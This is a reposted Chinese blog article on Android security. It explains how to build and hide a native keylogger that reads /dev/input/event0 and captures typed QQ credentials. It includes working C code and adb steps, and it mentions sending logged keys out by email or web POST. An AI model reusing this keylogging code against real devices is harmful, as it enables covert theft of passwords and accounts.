• 【转】Android操作系统安全研究系列——键盘记录


    作 者: hacknet
    以投稿在黑防6月杂志
    ****************************************
        盗号木马大家都很常见了,但大多数都是在windows平台下的,像阿拉QQ大盗等键盘记录程序都给用户带来不少的麻烦。在android手机越来越普及的今天,盗号木马也将会转移到手机上来,为了更好的防范这种盗号木马,我们首先要了解其原理。
        首先是要了解Android系统,Android是基于Linux的操作系统,处理器是ARM的,所以要在Linux或Windows等x86系统上编译Android能运行的程序,你需要一个交叉编译器。
        工欲善其事必先利其器,在Linux下面,你可以自已编译一个交叉编译环境,但Windows下面,就比较复杂(也可以在cygwin中编译一个),但我推荐大家选择下载一个现成的交叉编译环境:
    http://www.codesourcery.com/gnu_ ... e-linux-gnueabi.exe
        这是一个命令行工具,安装好了之后,最好将CodeSourcery编译器的bin目录加入你的PATH环境变量中,就可以开始你的Android Native C开发之旅了,先来熟悉一下开发调试流程,下面写好一个简单的C程序:

    #include <stdlib.h>
    int main(int argc, char** argv) {
    printf(
    "hello
    android!\nI'm %s!\nI like android very much!!!\n"
    , "GuiGu");
    return 0;
    }


        将上述代码另存成hello.c,然后进入命令行模式,确保交叉编译器的bin目录,及Android SDK的tools目录在你的系统环境变量的path里面,用如下命令编译:
    arm-none-linux-gnueabi-gcc -static hello.c -o hello
        成功编译后会在该目录下生成一个hello的文件,下面启动Android模拟器,用如下命令将文件push到Android模拟器上:
    adb shell mkdir /dev/h4ck
    adb push hello /dev/h4ck/hello
    adb shell chmod 777 /dev/h4ck/hello
    上述命令的含义是:先创建 /dev/h4ck目录,再将编译好的hello上传上去,最后将hello改成可执行的。
    上传好了之后,再进入命令行模式,进入Android的shell环境:
    adb shell
    #cd /dev/h4ck
    #./hello
    进入 /dev/h4ck目录,执行hello,运行结果如下图:
        可以看到在android主界面是没有任何反应的,程序是后台静默运行的,具有很强的隐蔽性。下面说说键盘记录的原理吧。如果你做过android系统编程就会知道键盘事件用的device是 /dev/tty0,进入 /dev/input 目录,发现在3个device文件:mice,mouse0,event0,分别 cat这3个文件,发现只有 event0 有反应,如下图:
    而且不管是点击鼠标还是按键,都有反应,但显示的是一堆乱码,而且点击鼠标出来的东西要多一点,这就说明,android会将用户的操作保存在这个文件中。我们只要写一段代码来分析这些乱码就可以获得我们想要的信息了,下面来编程实现吧。
    为了分析 event0 的返回值,写了一段代码key.c,核心代码如下:
     
    static int event0_fd = -1;
    struct input_event
    ev0[64];
    static int handle_event0() {

    int button = 0, i, rd;
    rd = read(event0_fd,
    ev0, sizeof(struct input_event) * 64);
    if ( rd <
    sizeof(struct input_event) ) return 0;
    for (i = 0;
    i < rd / sizeof(struct input_event); i++) {

    if (ev0.type == 1&&ev0.value == 1) {

    printf("您按下键盘的编码是: %3d\n",
    ev0.code);

    if (ev0.code == 158) {

    return 0;

    }

    }
    }

    return 1;
    }
    int main(void) {

    int done = 1;
    event0_fd =
    open("/dev/input/event0", O_RDWR);
    if ( event0_fd
    < 0 )
    return -1;

    printf("开始键盘监听...\n");
    while ( done ) {

    done = handle_event0();

    }

    用交叉编译器编译好后push至虚拟机中执行后,切换到android 模拟器,在模拟器上进行输入操作,程序就会打出你点击的按键信息,效果如下:
    分析上面记录的键盘编码,发现当按下的键盘按键和编码是一一对应的,如上图所示,我们输入的QQ号码是1234567,记录的按键编码是2345678,然后我按了一下密码框,记录键盘编码是330,密码输入的是guiguxiansheng,如图也截取到了相应的键盘编码,其他的按键没有仔细去看它们的键盘编码返回值,反正已经正确得到键盘记录了,如果要做一个真正的盗号木马。可以将记录下来的键盘发送到指定邮箱或post到指定网页。作为演示我们就到这里。
    手机淘宝、手机网银越来越普及了,希望杀毒软件常常能关注一下手机安全领域,尽早做好防范措施。

  • 相关阅读:
    centos 8 yum 重装
    Flask 和 Vue.js 开发及整合部署实例
    git报错fatal: unable to access 'https://****.com/c*****5/ecmall.git/': Could not resolve host: gitlab.***k.com
    CentOs服务器下安装两个个MySql数据库踩坑日记
    10-网络芯片CH395Q学习开发-模块使用Socket0作为UDP广播通信
    9-网络芯片CH395Q学习开发-模块使用Socket0作为UDP和电脑上位机UDP局域网通信
    8-网络芯片CH395Q学习开发-模块使用Socket0作为TCP服务器和电脑上位机TCP客户端局域网通信(单连接和多连接)
    7-网络芯片CH395Q学习开发-模块使用Socket0-5作为6路TCP客户端和电脑上位机TCP服务器局域网通信(Socket缓存区配置)
    6-网络芯片CH395Q学习开发-模块使用Socket0-3作为4路TCP客户端和电脑上位机TCP服务器局域网通信
    5-网络芯片CH395Q学习开发-模块使用Socket0作为TCP客户端和电脑上位机TCP服务器局域网通信
  • 原文地址:https://www.cnblogs.com/c4isr/p/2496890.html
Copyright © 2020-2023  润新知